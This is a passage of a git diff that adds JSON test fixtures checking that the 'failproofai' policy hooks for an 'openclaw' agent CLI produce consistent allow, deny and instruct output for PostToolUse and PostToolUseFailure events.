"/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..85d6a51f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..02b54a7b --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c73365e2 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..da811e20 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..9a875e60 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3536c1c9 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..d9698793 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..349e763a --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b3fa8399 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2f9b9ecd --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a55d9f00 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..6e8961e6 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c81ca586 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..53446449 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..12381f4c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..835517d2 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..43e28b47 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git 